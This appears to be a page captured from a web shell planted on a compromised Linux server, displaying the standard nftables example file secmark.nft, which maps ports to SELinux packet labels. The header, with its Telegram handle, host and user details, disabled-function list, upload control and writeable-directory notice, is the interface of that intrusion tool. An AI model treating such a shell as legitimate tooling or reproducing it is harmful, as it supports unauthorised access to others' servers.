https://t.me/RX1948
Server : LiteSpeed
System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : dewac4139 ( 1077)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /usr/share/doc/nftables/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/nftables/examples/secmark.nft
#!/usr/sbin/nft -f

# This example file shows how to use secmark labels with the nftables framework.
# This script is meant to be loaded with `nft -f <file>`
# You require linux kernel >= 4.20 and nft >= 0.9.3
# This example is SELinux based, for the secmark objects you require
# SELinux enabled and a SELinux policy defining the stated contexts
# For up-to-date information please visit https://wiki.nftables.org


flush ruleset

table inet x {
	secmark ssh_server {
		"system_u:object_r:ssh_server_packet_t:s0"
	}

	secmark dns_client {
		"system_u:object_r:dns_client_packet_t:s0"
	}

	secmark http_client {
		"system_u:object_r:http_client_packet_t:s0"
	}

	secmark https_client {
		"system_u:object_r:http_client_packet_t:s0"
	}

	secmark ntp_client {
		"system_u:object_r:ntp_client_packet_t:s0"
	}

	secmark icmp_client {
		"system_u:object_r:icmp_client_packet_t:s0"
	}

	secmark icmp_server {
		"system_u:object_r:icmp_server_packet_t:s0"
	}

	secmark ssh_client {
		"system_u:object_r:ssh_client_packet_t:s0"
	}

	secmark git_client {
		"system_u:object_r:git_client_packet_t:s0"
	}

	map secmapping_in {
		type inet_service : secmark
		elements = { 22 : "ssh_server" }
	}

	map secmapping_out {
		type inet_service : secmark
		elements = { 22 : "ssh_client", 53 : "dns_client", 80 : "http_client", 123 : "ntp_client", 443 : "http_client", 9418 : "git_client" }
	}

	chain y {
		type filter hook input priority -225;

		# label new incoming packets and add to connection
		ct state new meta secmark set tcp dport map @secmapping_in
		ct state new meta secmark set udp dport map @secmapping_in
		ct state new ip protocol icmp meta secmark set "icmp_server"
		ct state new ip6 nexthdr icmpv6 meta secmark set "icmp_server"
		ct state new ct secmark set meta secmark

		# set label for est/rel packets from connection
		ct state established,related meta secmark set ct secmark
	}

	chain z {
		type filter hook output priority 225;

		# label new outgoing packets and add to connection
		ct state new meta secmark set tcp dport map @secmapping_out
		ct state new meta secmark set udp dport map @secmapping_out
		ct state new ip protocol icmp meta secmark set "icmp_client"
		ct state new ip6 nexthdr icmpv6 meta secmark set "icmp_client"
		ct state new ct secmark set meta secmark

		# set label for est/rel packets from connection
		ct state established,related meta secmark set ct secmark
	}
}

https://t.me/RX1948 - 2025